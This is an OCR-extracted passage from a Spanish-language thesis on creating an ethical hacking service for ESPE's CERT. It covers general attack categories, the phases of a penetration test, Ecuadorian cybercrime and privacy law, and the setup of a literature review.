dada su masificacion y simplicidad de acceso al nucleo del sistema, fueron objeto de ataque
desde su origen, incluso sin contar con su cédigo fuente. Por otro lado, en el caso de Linux,
la situacion podria ser peor, ya que se posee el codigo fuente, posibilitando al atacante
detectar problemas también a nivel de cédigo. Por ello, yendo en contra a lo que
comunmente se cree, la estadistica de cantidad de vulnerabilidades de Windows no supera
anualmente la de Linux, sino muchas veces, la diferencia ha radicado en la velocidad con la
gue las soluciones se presentaban en cada caso, con Linux en la delantera (Benchimol,

2011).

Ataques a las aplicaciones

Por razones obvias la variedad en este caso es por mucho mas extensa. Existen una
cantidad inconmensurable de software y programas de todo tipo y tamafio, disponibles en el
mundo. Es de suponer que, entre tantos millones de lineas de c6digo, se produzcan errores.
En el caso de ataques a las aplicaciones, se considera también lo masivo de su uso. Por lo
gue cualquier programa manejado por millones de personas sera mejor objetivo que uno
gue usan unos pocos. De esta manera las aplicaciones amplifican la superficie de ataque de
un sistema, por lo que es recomendable en la medida de lo posible evitar la instalacién de
aplicaciones que no se requieran, y seguir el principio de seguridad que sugiere el
minimalismo (Benchimol, 2011).

La idea de atacar la implementacion de algo en lugar del software en si mismo,
aplica sin duda para este caso. Existen un sinnimero de programas que realizan las

mismas funciones, existiendo la Unica diferencia en que algunos podrian hacerlo de forma



41

tal que pudieran encontrarse fallos en dicha operatoria, comprometiendo, de esta manera, el

software, y con éste el sistema completo.

Errores en configuraciones

Este caso aplica tanto en el sistema operativo como las aplicaciones, y constituyen
de igual manera un punto sensible, debido a que a pesar de la gran seguridad que pueda
poseer un software, una mala configuracion puede facilitar la maleabilidad de este de una
manera escandalosa. El peligro reside en ello, ni siquiera las herramientas de proteccién y
seguridad son fiables en si mismas solo por su funcion, provocando una falsa sensacion de
seguridad que puede llegar a ser muy grave (Benchimol, 2011).

El atacante tomara ventaja de las configuraciones estandares de un gran niumero de
aplicaciones, equipos informaticos, dispositivos de red, etc. para utilizarlos como via de
entrada. Tomando como ejemplo que, si un programa se instala con ciertas credenciales de
acceso por defecto y no son debidamente modificadas, cualquiera que pretenda acceder y
las conozca puede hacerlo sin mayor problema. Se puede mencionar que gran parte de los
problemas que se encuentran en los sistemas es debido a errores en las configuraciones.
Un sistema bien configurado es, sin duda, mucho menos susceptible de ser vulnerado que

uno que no lo esta.

Errores en protocolos

Implica que, sin importar la implementacion, sistema operativo, ni configuracion, algo
gue se componga de dicho protocolo podra ser afectado. Siendo tal vez el ejemplo mas
comun el del TCP/IP (Transmission Control Protocol/ Internet Protocol), un grupo de
protocolos tan efectivo y flexible, que, mantiene su vigencia y sigue siendo usada incluso
después de mas de tres décadas de existencia, sin embargo, el verdadero problema radic6
gue, en su momento, a principios de los afos 70, su disefio no contemplaba aspectos de
seguridad, por determinados motivos propios de su objetivo de utilizacion, y con toda razon.
A pesar de ello, su uso se extendid a tal punto que comenz6 a ser implementado para fines

que no habia sido pensado inicialmente, aunque de maneras que el propio esquema
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permitia, esta situacion convirtio al protocolo TCP/IP en una verdadera arma de doble filo

(Benchimol, 2011).

Pentesting

Una prueba de intrusion o pentesting evalla los niveles de seguridad de un sistema
informatico o red mediante la simulacion, en un entorno controlado, de un ataque por parte
de un usuario malicioso conocido comunmente como hacker o cracker (Gonzales, Sanches,
& Soriano, 2013).

La prueba implica un proceso de analisis activo del sistema en busca de posibles
vulnerabilidades desde la posicion de un atacante potencial, implicando en su explotacion
activa. Su objetivo es determinar la viabilidad de un ataque y el impacto que éste genere a
la organizacion en cuestion en caso de suscitarse con éxito. Debido a que las pruebas de
penetracién utilizan técnicas y herramientas que pueden ser restringidas por la ley, es
imprescindible obtener un permiso formal para la realizacion de estas, dicho permiso debera
estar previamente acordado, organizado y plasmado en un documento fisico firmado por

ambas partes, estipulando las pautas a seguir.

Fases de una prueba de intrusién o penetracion

Se debe considerar un orden correcto a la hora de realizar una prueba de intrusién,
de no ser asi, se puede dar lugar a problemas con el cliente que pide dicha auditoria, ya
gue existe la posibilidad de vulnerar sin previo permiso, derechos de la propiedad intelectual

y privada de la organizacion. Las fases son las siguientes:

Reglas del juego: Alcance y términos de la prueba de intrusion

Las reglas del juego refieren a las normas que se rigen para cumplir con el
pentesting en donde se deberd llegar a un acuerdo sobre objetivos del cliente, limites a los
gue se veran expuestos el equipo de auditores, ya que la informacion que estara a su
disposicién sera totalmente confidencial. Todo debera ser tomado en un documento firmado

por ambas partes, plasmando la conformidad de los responsables.
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Recoleccion de informacién

Siendo la primera etapa préactica, el equipo haré uso de técnicas como Footprinting,
Fingerprinting, Google Hacking, entre otras para intentar obtener la mayor cantidad de
informacién sobre la organizacion.

Se podria también realizar una busqueda a través de redes sociales, ingenieria
social a trabajadores de la empresa, entre otros. Esto llevara al auditor a conseguir una
clara imagen del objetivo y su funcionamiento para asi obtener una vision amplia de los
tipos de controles de seguridad existentes y por consiguiente saber cual es la mejor manera

de propiciar un ataque a la victima y extraer informacién de esta.

Andlisis de vulnerabilidades

Una vez recolectada toda la informacién disponible en la red o mediante cualquier
técnica pertinente, se procede a analizar y organizar los resultados para de esta manera
descubrir brechas de seguridad o vulnerabilidades, realizando un modelado con toda la
informacion extraida para planificar el método o via de accién para el ataque, mismo que

debe adaptarse a la situacion.

Explotacion de las vulnerabilidades

Basandose en la informacién recopilada anteriormente y fundamentandose en la
experiencia adquirida se procede a vulnerar las barreras de seguridad que imponga la
organizacion, dejando al descubierto cualquier brecha que permitira al atacante externo
hacerse con el control del sistema, sin embargo, es comdn que en esta etapa los auditores
se percaten de errores a la hora de la recopilacion de informacién.

Uno de los elementos mas utilizados a la hora de querer tomar el control de un
sistema en cuestion es el uso de exploits que son un conjunto de acciones, c6digos o
secuencias de comando, con los que se pretende aprovechar de las vulnerabilidades de un
sistema cuyo fin es conseguir un comportamiento beneficioso para el atacante, o, en otras

palabras, no deseado para la victima.
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No obstante, existe una gran diferencia entre ser un cracker y un hacker ético en
este punto, ya que los auditores no se pueden dar el lujo de automatizar los exploits a todo
el sistema debido a que deben asegurarse en todo momento de tener el control de las
acciones realizadas, lanzando exploits Unicamente si se dispone de la certeza de que se
obtendra un resultado positivo, en este caso la automatizacion no se considera una buena
practica ya que aunque resulta beneficioso en tiempo, casi hunca se conoce por completo lo

gue realiza cada exploit generando més dafios que beneficios.

Postexplotacidon del sistema

Es una fase muy importante en la prueba de intrusién ya que al tener acceso al
sistema 0 a una parte de este supone que se podra acceder a otros equipos, para expandir
el control sobre la organizacion, la técnica es comiunmente conocida como “pivoteo” que
hace que el atacante “salte” de un equipo a otro con la intencion de controlar toda la red

corporativa

Generacion de informes

Siendo la ultima fase, es considerada la parte mas importante de la prueba ya que
aqui es donde se le informa al cliente sobre las acciones realizadas y los resultados que se
obtuvo en cada una de ellas, documentadas con capturas de pantalla, recopilacion de rutas,
etc.

Es recomendable documentar cada accion después de realizarla para no escatimar
en detalles y de esta manera entregar un informe integro y que sea de mayor ayuda para la
organizacion. El informe debera incluir cada una de las tareas, técnicas y herramientas
utilizadas, asi como las formas en las que fueron utilizadas, el tipo de vulnerabilidades
descubiertas y el nivel de gravedad que suponen para la seguridad de la empresa.
Ciberseguridad y la Legislacién Ecuatoriana

Considerar la ciberseguridad dentro de la legislacién ecuatoriana es también
considerar la extension de los derechos que gozan los ciudadanos y las limitaciones que

existe al momento de establecer un marco de control sobre un espacio de libre acceso
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como lo es internet, tal y como se estipula en el Art. 16 de la constitucién, “Todas las
personas, en forma individual o colectiva, tienen derecho a:

1. Una comunicacion libre, intercultural, incluyente, diversa y participativa, en todos los
ambitos de la interaccién social, por cualquier medio y forma, en su propia lengua y
con sus propios simbolos.

2. El acceso universal a las tecnologias de informacién y comunicacion.

3. La creacién de medios de comunicacion social, y al acceso en igualdad de
condiciones al uso de las frecuencias del espectro radioeléctrico para la gestion de
estaciones de radio y television publicas, privadas y comunitarias, y a bandas libres
para la explotacion de redes inalambricas.

4. Elacceso y uso de todas las formas de comunicacién visual, auditiva, sensorial y a
otras que permitan la inclusién de personas con discapacidad.

5. Integrar los espacios de participacion previstos en la Constitucién en el campo de la
comunicaciéon” (CONSTITUCION DE LA REPUBLICA DEL ECUADOR [CRE], 2008).
Desde este primer articulo relacionado a las tecnologias de la comunicacion, y por

consecuencia, tecnologias de la informacién, podemos analizar que su uso y acceso en
igualdad de condiciones constituye un derecho, ergo, cualquier forma de negacion de
acceso a estas tecnologias constituye también negar este derecho constitucional, el cuerpo
legal ecuatoriano continGia nutriendo este derecho reconociendo y garantizando en el Art.
66 “El derecho a la proteccion de datos de caracter personal” incluyendo dentro de estas
garantias “el acceso y la decisién sobre informacion y datos de este caracter (personal)”
concluyendo el numeral 19 que “La recoleccion, archivo, procesamiento, distribucion o
difusion de estos datos o informacion requeriran la autorizacion del titular o el mandato de la
ley” de forma mas determinante y critica, el numeral 21 de este mismo Art.66 sentencia “E/
derecho a la inviolabilidad y al secreto de la correspondencia fisica y virtual” misma que no
puede ser “retenida, abierta ni examinada, excepto en los casos previstos con la ley, previa
intervencion judicial ... Este derecho protege cualquier otro tipo o forma de comunicacion”

es decir, todo ciudadano ecuatoriano goza del derecho constitucional de sus
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comunicaciones fisicas, y para este caso hacemos énfasis en virtuales, con caracter

reservado, tal y como estipula el numeral, examinar las comunicaciones de una persona, sin
discriminacion ni exclusiones, antes de conseguir la aprobacion judicial de realizar dicho
proceso, es un delito (CONSTITUCION DE LA REPUBLICA DEL ECUADOR [CRE], 2008).

También es importante considerar el panorama actual (al momento de escritura de
este documento) respecto a las atribuciones y competencias exclusivas que tiene el estado
sobre las telecomunicaciones y cualquier forma de comunicacién en general, tal como lo
estipula el Art. 261 de la Constitucion; En este contexto, es importante recordar la definicién
de telecomunicaciones existente en el Art. 5 de la Ley Orgéanica de Telecomunicaciones,
donde encontramos que las telecomunicaciones son toda transmision de informacion y dato
de cualquier tipo, a través de medios electronicos y tecnoldgicos, “inventados y por
inventarse”, sin considerar un régimen de exclusién por distancia, es decir, los dispositivos
electrénicos como los celulares, computadores, televisiones, etc. forman parte angular
dentro del concepto de las telecomunicaciones, sobre el cual el estado posee competencias
exclusivas, y junto con el espectro radioeléctrico forman parte de los sectores estratégicos
gue reconoce el estado ecuatoriano, y de acuerdo al Art. 313: “El Estado se reserva el
derecho de administrar, regular, controlar y gestionar los sectores estratégicos, ... y
deberan orientarse al pleno desarrollo de los derechos y al interés social. Se consideran
sectores estratégicos la energia en todas sus formas, las telecomunicaciones, ..."
(CONSTITUCION DE LA REPUBLICA DEL ECUADOR [CRE], 2008), bajo esta
consideracién es determinante considerar partes criticas de la Ley Orgéanica de
Telecomunicaciones, respecto a la ciberseguridad.

Ley Orgénica de Telecomunicaciones

La ley organica de Telecomunicaciones del Ecuador tiene el objetivo de establecer
un régimen general en los sectores estratégicos de las telecomunicaciones y del espectro
radioeléctrico, reservando su capacidad y potestad de administrar, regular, controlar y

gestionar todas las actividades relacionadas al establecimiento, instalacién y uso de redes y



47

espectro radioeléctrico, garantizando que las personas naturales o juridicas que realicen
actividades en estos sectores estratégicos gocen de sus derechos y cumplas sus deberes
respecto a la relacién que existe entre los prestadores de servicios y los usuarios (LEY
ORGANICA DE TELECOMUNICACIONES [LOT], 2015).

Los servicios publicos de telecomunicaciones estan sujetos a principios de
“solidaridad, no discriminacién, privacidad, acceso universal, transparencia, objetividad,
proporcionalidad, uso prioritario para impulsar y fomentar la sociedad de la informacion y
el conocimiento, ..." Tal y como se estipula en el Art. 4.- Principios de la Ley Organica de
Telecomunicaciones (LEY ORGANICA DE TELECOMUNICACIONES [LOT], 2015).

De forma complementaria con los articulos estudiados previamente respecto a la
privacidad en la Constitucion, el Art. 22 de la Ley Orgénica de Telecomunicaciones
sentencia “Los abonados, clientes y usuarios de servicios de telecomunicaciones tendran

derecho:

3. Al secreto e inviolabilidad de sus comunicaciones, con las excepciones
previstas en las Ley.
4. A la privacidad y proteccion de sus datos personales, por parte del prestador con

el que contrate servicios, con sujecion al ordenamiento juridico vigente.

18. A acceder a cualquier aplicacion o servicio permitido disponible en la red de
internet. Los prestadores no podran limitar, bloquear, interferir, discriminar,
entorpecer ni restringir el derecho de sus usuarios o abonados a utilizar, enviar,
recibir u ofrecer cualquier contenido, aplicacion, desarrollo o servicio legal a través
de internet 0 en general de sus redes u otras tecnologias de la informacién y las
comunicaciones, ni podran limitar el derecho de un usuario o abonado a incorporar o
utilizar cualquier clase de instrumentos, dispositivos o aparatos en la red, siempre
gue sean legales. Se exceptlan aquellos casos en los que el cliente, abonado o

usuario solicite de manera previa su decision expresa de limitacion o bloqueo de
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contenidos, aplicaciones, desarrollos o servicios disponibles, o por disposicidon de

autoridad competente. Los prestadores pueden implementar las acciones técnicas

que consideren necesarias para la adecuada administracion de la red en el exclusivo
ambito de las actividades que le fueron habilitadas, para efectos de garantizar el

servicio.” (LEY ORGANICA DE TELECOMUNICACIONES [LOT], 2015).

Con lo cual podemos dilucidar el fuerte énfasis que existe respecto a defender el
derecho a la privacidad de las comunicaciones de un usuario, asi como su derecho de
acceso a las mismas, si se encuentra suscrito a ellas, las actividades que realiza el usuario
también son de caracter reservado, y para determinar su ilegalidad, es necesario la
intervencion de una autoridad competente, que, en régimen especial, ordena la suspension
de dicha privacidad y/o acceso, para cumplir con el proceso judicial resoluto.

Delitos Informéticos en la Legislacion Ecuatoriana

Como hemos estudiado en la anterior subseccion, toda persona natural o juridica
tiene derecho irrevocable a la privacidad de sus comunicaciones y al caracter reservado de
sus actividades en medios electronicos, excepto cuando la ley lo ordene, es decir, la ley
puede habilitar a un funcionario especifico para ingresar en las comunicaciones de una
persona, y estudiar sus actividades cuando se sospecha que esta persona ha cometido un
crimen, razén por la cual se realiza una denuncia, y en consecuencia, el juez emite una
orden que habilita a un perito en informéatica realizar la investigacion o investigaciones
pertinentes, solo la orden de una autoridad competente puede habilitar el régimen especial
de investigacion, en que la persona o personas involucradas, veran su privacidad
comprometida ante el investigador, y alin en este contexto existe un exigente marco de
accion y respeto a la confidencialidad de la informacién de la persona.

Considerando que el codigo organico integral penal COIP reconoce los principios
fundamentales expuestos en la constitucion de la republica, el Art. 178 que se encuentra en
la Seccion Sexta: “Delitos contra el derecho a la intimidad personal y familiar” sentencia la
Violacion a la intimidad, que consiste en un crimen sancionado con una pena privativa de

libertad de uno o tres afios a la persona que “sin contar con el consentimiento o la
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autorizacion legal, acceda, intercepte, examine, retenga, grabe, reproduzca, difunda o
publique datos personales, mensajes de datos, voz, audio y video, objetos postales,
informacidn contenida en soportes informéticos, comunicaciones privadas o reservadas de
otra persona por cualquier medio”, agui nuevamente podemos dilucidar que la intercepcién
y andlisis de datos personales o privados, solo se pueden realizar con una autorizacion
legal o un consentimiento probable ante un juzgado, para efecto del servicio de Hacking
Etico, este consentimiento debe ser escrito y firmado por la persona natural o juridica
competente para habilitar dicho proceso, es decir, el duefio de los datos o el representante
legal de los activos informaticos, previo la autorizacion de quienes laboran sobre estos
activos.

De forma complementaria el Art. 179 del COIP, Revelacion de secreto, sanciona con
pena privativa de libertad de seis meses a un afo a la persona que “teniendo conocimiento
por razén de su estado u oficio, empleo, profesion o arte, de un secreto cuya divulgacion
pueda causar dafo a otra persona y lo revele”, con lo cual podemos analizar que incluso las
personas que administran la informacién de una empresa, deben tener extremo cuidado con
el tratamiento de caracter reservado de la informaciéon de cada empleado.

Igualmente, existen delitos informaticos, como el secuestro de informacion o
ransomware, que podemos asociarlos con extorsion y estafa, el Art. 190 tipifica el delito:
Apropiacion fraudulenta por medios electrénicos, que consiste en la utilizacion fraudulenta
de sistema informéatico o redes de telecomunicaciones para “facilitar la apropiacién de un
bien ajeno o que procure la transferencia no consentida de bienes, valores o derechos en
perjuicio de esta 0 de una tercera, ... manipulando o modificando el funcionamiento de redes
electronicas, programas, sistemas informaticos, telematicos y equipos terminales de
telecomunicaciones” este delito es sancionado con 1 a 3 afos de privacion de libertad, y
contempla también, este mismo articulo el descifrado de llaves encriptadas o procesos de
intrusion fisica que podemos asociar a la ingenieria social, el COIP lo expone de la siguiente
manera: “inutilizacién de sistemas de alarma o guarda, descubrimiento o descifrado de

claves secretas o encriptadas, utilizacion de tarjetas magnéticas o perforadas, utilizacion de
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controles o instrumentos de apertura a distancia, o violacion de seguridades electrénicas,
informaticas u otras semejantes.” en estos casos se aplica la misma pena privativa de 1 a 3
de libertad.

También el COIP considera los delitos cometidos contra los dispositivos terminales
moviles, que podrian resultar en perjuicio para la persona, empezando por el Art. 191, que
sanciona la reprogramacion o modificacion de la informacién que se encuentra en articulos
terminales moviles con una pena de 1 a 3 afios de privacion de libertad, de forma continua,
el Art. 192, sanciona el intercambio, la comercializacién y la compra de informacion de
equipos terminales méviles que puedan resultar en la identificacion de estos equipos
moviles, igualmente la pena de privacion de libertad es de 1 a 3 afios de privacién de
libertad, de forma complementaria, el Art. 195 sanciona con 1 a 3 afios de privacion de
libertad a la persona que posea “infraestructura, programas, equipos, bases de datos o
etiquetas que permitan reprogramar, modificar o alterar la informacién de identificacion de
un equipo terminal moévil”, estos delitos tipificados en el COIP, buscan salvaguardar la
seguridad de la informacion de los usuarios de terminales dispositivos moviles, dispositivos
gue ahora son de consumo masivo, y constituyen uno de los principales medios de
comunicacion en la sociedad (CODIGO ORGANICO INTEGRAL PENAL [COIP], 2014).

Adicionalmente, el c4digo organico integral penal reserva la seccién tercera del
capitulo tercero, titulado “Delitos contra los derechos del buen vivir” para definir las penas
aplicables a delitos efectuados en contra de la seguridad de los activos asociados a los
sistemas de la informacion, de esta forma, el primer articulo de esta seccion, el Art. 229,
describe que se sancionara con pena privativa de uno a tres afos de libertad a las personas
gue revelen informacion almacenada en medios electronicos, siendo estos bases de datos o
similares, ya sea por beneficio personal o por incitacion de un tercero, considerando este
acto como la violacion de un secreto, de la intimidad y del derecho a la privacidad de las
personas, ahora, es importante notar que existe un agravante que puede extender la pena
en un rango de 3 a 5 afios, que consiste en si esta accion criminal, es ejecutada por un

persona asociada al servicio publico, o por empleados internos de una institucion financiera,
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y ademas, utilicen esa informacion a la vez que realizan operaciones de intermediacion

financiera, resultando evidente los intereses particulares de la persona que ejecuta el acto

criminal. Complementariamente, también es sancionado con una pena privativa de libertad

de 3 a 5 afios la persona que incurra en interceptacion ilegal de base de datos, el Art. 230

describe este delito bajo los siguientes contextos:

1.

Interceptacién de datos sin orden judicial previa, sin importar en qué
momento/fase de la comunicacion se realiza esa interceptacion.

Disefiar y crear medios que busquen suplantar una entidad financiera o
certificados de seguridad con el objetivo de inducir a una victima a ingresar a
sitios de internet fraudulentos o de estafa, esto se realiza con la finalidad de
robar los datos financieros de una persona, este ataque lo conocemos de
forma comun como phishing, y es una modalidad técnica que deriva y se
apoya en el uso de la ingenieria social, pues el atacante previamente
necesita conocer cierta informacién de la victima y durante el ataque debe
convencer a la victima que se encuentra en un ambiente de comunicaciones
seguro.

Robo de informacién almacenada en tarjetas personales asociadas entidades
financieras o similares, informacién contenida en dispositivos como bandas
magnéticas, chip y otros medios electrénicos, utilizando cualquier medio, ya
sea una copia o la clonacion.

Cualquier persona natural que fabrique, distribuya, posea o comercialice

dispositivos o sistemas con la capacidad para interceptar informacion.

Para efecto de esta investigacion, es de especial interés el estudio de los articulos

232y 234, pues describen actividades ilegales que, no obstante, estdn ampliamente

relacionadas al hacking ético, con la dicotomica diferencia de que, en el marco del hacking

ético, estas actividades deben ser debidamente autorizadas, documentadas y comunicadas,

y nos permiten percibir, cuales serian las sanciones que un equipo de hacking ético

enfrentaria de actuar con negligencia y no certificar de formar legal, la autorizaciéon de la
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ejecucion de sus actividades, estas actividades corresponden a, primero en el Art. 232, el
“Ataque a la integridad de sistemas informaticos”, donde se describe una pena privativa de
libertad de tres a cinco afos para la persona que: “destruya, dane, borre, deteriore, altere,
suspenda, trabe, cause mal funcionamiento, comportamiento no deseado o suprima datos
informaticos, mensajes de correo electrénico, de sistemas de tratamiento de informacion,
telematico o de telecomunicaciones a todo o partes de sus componentes l6gicos que lo
rigen”, y es importante reconocer y mantener presente este articulo porque un proceso de
hacking ético no es solo un analisis de vulnerabilidades, en un proceso de hacking ético se
busca explotar las estas vulnerabilidades para determinar hasta qué punto un sistema
informético es resiliente o vulnerable, e informar al cliente sobre los resultados encontrados,
evidentemente en este proceso se busca minimizar todo lo posible el dafio que puede existir
sobre los activos tecnoldgicos o de informacion, y toda alteracién que se realice los
sistemas informéticos en este contexto tiene que ser cuidadosamente documentada con la
finalidad de permitir al equipo del cliente revertir cambios una vez se ha completado el
proceso, no obstante siempre es posible que exista un riesgo de dafiar o deteriorar los
equipos sobre los cuales se realiza las pruebas, ya sea por negligencia en el
mantenimiento/actualizacién de los equipos por parte del cliente, o por errores en la
configuracién o entorno de operacién en los cuales se encuentran estos equipos
informaticos, en la medida de los posible el consultor de seguridad que ejecuta el proceso
de hacking ético tiene que comunicar estas posibilidades e incluirlas en el documento
escrito que certifique la autorizacion a proceder con las actividades de hacking ético, para
profundizar en este punto el inciso 2 de este mismo Art. 232 estipula que se le sancionara
con la misma pena de 3 a 5 afios de privacion de libertar a la persona que “Destruya o
altere sin la autorizacion de su titular, la infraestructura tecnolégica necesaria para la
transmision, recepcion o procesamiento de informacién en general”, lo cual soporta esta
necesidad obligatoria de contar con una autorizacion legal para ejecutar procesos de

hacking ético.
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El otro articulo mencionado anteriormente, el Art 234, establece una pena privativa
de libertad de 3 a 5 afios para las personas que incurran en el “Acceso no consentido a un
sistema informatico, telematico o de telecomunicaciones”y este articulo profundiza en el
punto establecido en el inciso 2 del articulo expuesto anteriormente, la necesidad de que
exista una autorizacion que habilite al consultor de seguridad realizar una prueba de
intrusion, que dentro del estudio de la presente investigacion, encontramos son
precisamente estos test de penetracion el principal servicio valorado al momento de
ejecutar un proceso de hacking ético (CODIGO ORGANICO INTEGRAL PENAL [COIP],
2014).

Finalmente, el Capitulo Segundo “Actuaciones y técnicas especiales de
investigacion” del Titulo IV “Prueba’, titulo que tiene la finalidad de establecer las
disposiciones que permitan recoger los materiales que lleven al convencimiento de los
hechos al juzgador, recoge en su Seccion Primera “Actuaciones especiales de
investigacion” conceptos relacionados a los procesos de investigacion en ciberseguridad y
computacion forense, que, a pesar de no estar directamente relacionados a un proceso de
Hacking Etico, si se encuentran asociados a los procesos especiales de investigacion
informatica, empezando por el Art. 475, que establece que la “retencién, apertura y examen
de la correspondencia y otros documentos se regira por las siguientes disposiciones:

1. La correspondencia fisica, electrénica o cualquier otro tipo de comunicacion,
es inviolable, salvo los casos expresamente autorizados en la Constitucion y
en este Cadigo.

1. La o el juzgador podra autorizar a la o al fiscal, previa solicitud motivada, el
retener, abrir y examinar la correspondencia, cuando haya suficiente
evidencia para presumir que la misma tiene alguna informacion (til para la

investigacion.

5. Si se trata de escritura en clave o en otro idioma, inmediatamente se

ordenard el desciframiento por peritos en criptografia o su traduccioén.”
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De esta forma podemos analizar que, a pesar que realizar pruebas de intrusién a los
sistemas de comunicacion internos de las organizaciones, es un proceso comun y
de alta demanda, no podemos violar la privacidad de dichas comunicaciones, ni
siquiera el duefio de una organizacion puede autorizar dicha violacion a la
confidencialidad personal, y tal proceso de apertura de las comunicaciones, para su
analisis y recoleccion, solo puede realizarse tras recibir la autorizacion judicial
competente, en incluso en ese contexto, el érgano judicial cuenta con sus propios
medios y recursos de peritaje, de forma complementaria a la “Retencién de
Correspondencia”, el Art. 476, nos especifica los contextos y medios por el cual el
juzgador puede ordenar la “Interceptacion de las comunicaciones o datos
informaticos”, donde es importante destacar particularidades como la que establece
el inciso 1, en el cual determina que el tiempo de interceptacién no puede ser mayor
a un plazo de 90 dias, y transcurrido ese tiempo, solo se puede solicitar una sola
prérroga por otros 90 dias y, ademas, en el inciso dos se establece que se tiene la
obligacion de guardar secreto de los asuntos ajenos al hecho que motive el
examen, y sin embargo, en caso de descubrir el cometimiento de otra infraccién, en
el contexto del mismo examen autorizado, se informara ipso facto a la fiscalia para
gue inicie la investigacion correspondiente, inciso 3, finalmente, aunque el inciso 4
establece que, previa la autorizacion de la o el juzgador, el fiscal puede interceptar
cualquier tipo de informacion a través de cualquier medio de telecomunicaciones,
jamas, ni en este contexto de investigacion judicial, se podran interceptar, grabar o
transcribir comunicaciones que vulneren los derechos de los nifios, nifias,
adolescentes o casos que revictimicen infracciones de violencia contra la mujer
(CODIGO ORGANICO INTEGRAL PENAL [COIP], 2014), este andlisis a los incisos
descritos en este articulo del codigo organico integral penal nos ilustran respecto a lo
sumamente importante que es jamas, bajo ningun contexto, atentar contra
informacion que sea, desde cualquier perspectiva, sensible para los segmentos de

poblaciéon que consideramos vulnerables, como los descritos anteriormente, y que
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ademas generen revictimizacion de delitos de abuso por violencia fisica, sexual,
psicoldgica, etc.
Estado del Arte
En la presente investigacion se realiza la busqueda de informacion relevante
referente a la implementacion de un servicio de hacking ético al CERT de la ESPE.
Considerando las siguientes etapas para la busqueda de esta (Petersen, Vakkalanka, &
Kuzniarz, 2015):
e Definicién de las preguntas de investigacion.
¢ Revision de los objetivos.
e Conduccién de la busqueda.
e Presentacion de informacion.
e Seleccién de investigaciones relevantes.

Definir la pregunta de investigacion

El objetivo del presente proyecto consiste en la identificacion de informacién sobre
como implantar un servicio de hacking ético al ESPE_CERT, por ello se debe plantar la
siguiente pregunta de investigacion. ¢ Qué importancia recae en la realizacion de un
pentesting o prueba de penetracién en una institucion académica? Debido a la extension de
la pregunta es pertinente la descomposicion de esta en dos preguntas. En la Tabla 2 se
muestran las subpreguntas propuestas junto a su respectiva motivacion.
Tabla 2

Subpreguntas de investigacion

Orden  Subpregunta Motivacion
1 Q1. ¢ Qué problemas se podrian ~ Tener conocimiento a los
presentar relacionados a inconvenientes mas comunes que
incidentes de seguridad que pueden darse tras sufrir un incidente
podamos considerar ataques de seguridad relacionados con

informaticos premeditados? ataques informaticos.
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Orden  Subpregunta Motivacion
2 Q2. ¢ Como disefiar un plan de Aprender los distintos métodos o
operacién para ejecutar las metodologias que existen para
acciones necesarias que disefiar un plan de ejecucién de
permitan completar el proceso de  procesos y operaciones relacionadas
Hacking ético? a hacking ético de forma general, es
decir, en observancia y adaptabilidad
de cualquier tipo de aplicacion que
se pueda analizar en el proceso de
hacking ético.
3 Q3. ¢ Coémo documentar el Adquirir los conocimientos

procedimiento y los resultados
del proceso de Hacking ético
con el objetivo de comunicar de
forma oportuna y asertiva las
vulnerabilidades encontradas y
las recomendaciones

planteadas?

necesarios para documentar
correctamente la ejecucion de los
procesos y operaciones de hacking
ético y sus resultados, de forma que
la informacion sea accesible y
comprensible por quienes solicitan el

servicio de hacking ético.

Estrategia de busqueda

En busca de estudios primarios se utilizo los repositorios digitales de Google

Scholar, IEEEXplorer y Science Direct, debido a la calidad de los documentos enfocados en

el area de ingenieria y tecnologia.

La busqueda de las siguientes bibliotecas utilizé las mismas cadenas de busqueda,

aungue con distintos formatos, las mismas se muestran en la Tabla 3. Se agruparon los
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términos de busqueda de tres conjuntos en donde se consideraron sus sinénimos, palabras
relacionadas o alternativas para formular la cadena de busqueda.

Conjunto 1: Definimos que se pretende la implementacion de un servicio.

Conjunto 2: Términos relacionados al Hacking Etico.

Conjunto 3: Definimos la institucién a la que va dirigido el servicio.
Tabla 3

Términos para las cadenas de busqueda

Conjunto Palabras Palabras alternativas y/o relacionadas
1 Implementacién del servicio  (Implementacion o Servicio)
2 Hacking Etico (Pentesting o Prueba de Penetracion)
3 Equipo de Respuesta (CERT o CSIRT)

Los conjuntos de busqueda se aplicaron a las bases de datos Google Scholar,
IEEEXplorer y Science Direct. Contemplando estudios desde 2020 debido a que la
seguridad sufrié un cambio a partir de la pandemia dada por COVID-19, considerando esto,
los estudios dentro de este rango proveeran mayor exactitud de acuerdo con el contexto.
Tabla 4

Cadenas de busqueda

Base de Cadena de busqueda en espafiol Cadena de blusqueda en inglés

datos

Google ("Implementacion” OR “Servicio”) ("Implementation" OR “Service)
AND ("Hacking Etico" OR "Prueba  AND ("Ethical Hacking" OR
de Penetracién") AND ("CERT" "Pentesting") AND ("CERT" OR

OR "CSIRT") "CSIRT")
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Base de Cadena de busqueda en espafiol Cadena de busqueda en inglés

datos

IEEE ("Full Text & Metadata™: ("Full Text & Metadata™:
Implementacion) OR ("Full Text &  Implementation) OR ("Full Text
Metadata": Servicio) AND ("Full & Metadata": Service) AND ("Full
Text & Metadata": Hacking Etico) Text & Metadata": Ethical
OR ("Full Text & Metadata": Hacking) OR ("Full Text &
Prueba de Penetracion) AND Metadata": Pentesting) AND
("Full Text & Metadata": CERT) ("Full Text & Metadata™": CERT)
OR ("Full Text & Metadata": OR ("Full Text & Metadata":
CSIRT) CSIRT)

Science ("Implementacion" OR “Service”) ("Implementation" OR “Service”)

Direct AND ("Hacking Etico" OR "Prueba  AND ("Ethical Hacking" OR

de Penetracion") AND ("CERT"

OR "CSIRT")

"Pentesting”) AND ("CERT" OR

"CSIRT")

Seleccién de estudios primarios y evaluacion de calidad

Para la seleccion de los estudios primarios se hizo uso de criterios tanto de inclusién

como exclusién presentados en la Tabla 5. Los estudios deben cumplir con al menos uno

de los criterios.

Tabla 5

Criterios para la seleccion de estudios primarios

Ord. Criterio Descripcién

1 Inclusiéon Estudios que contienen informacién sobre el hacking
ético, considerando moderadamente que mantengan el
contexto de la situacion en el pais.

2 Inclusién Estudios que contienen informacién sobre amenazas,

vulnerabilidades y riesgos de seguridad informéatica.
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3 Inclusién Estudios que presenten hacking éticos llevados a cabo
en alguna organizacién, teniendo una moderada
consideracién en que el CERT o CSIRT sea el
encargado de estas.

4 Exclusién Articulos que no contengan tematica relacionada a la
seguridad de la informacion.

5 Exclusion Articulos que se basen Unica y exclusivamente en
recomendaciones y principios.

6 Exclusién Articulos que solo reportan problematicas asociadas a
vulnerabilidades y describen procesos de hacking de
forma anecddtica.

7 Exclusion Articulos que reportan procesos de defensa y respuesta

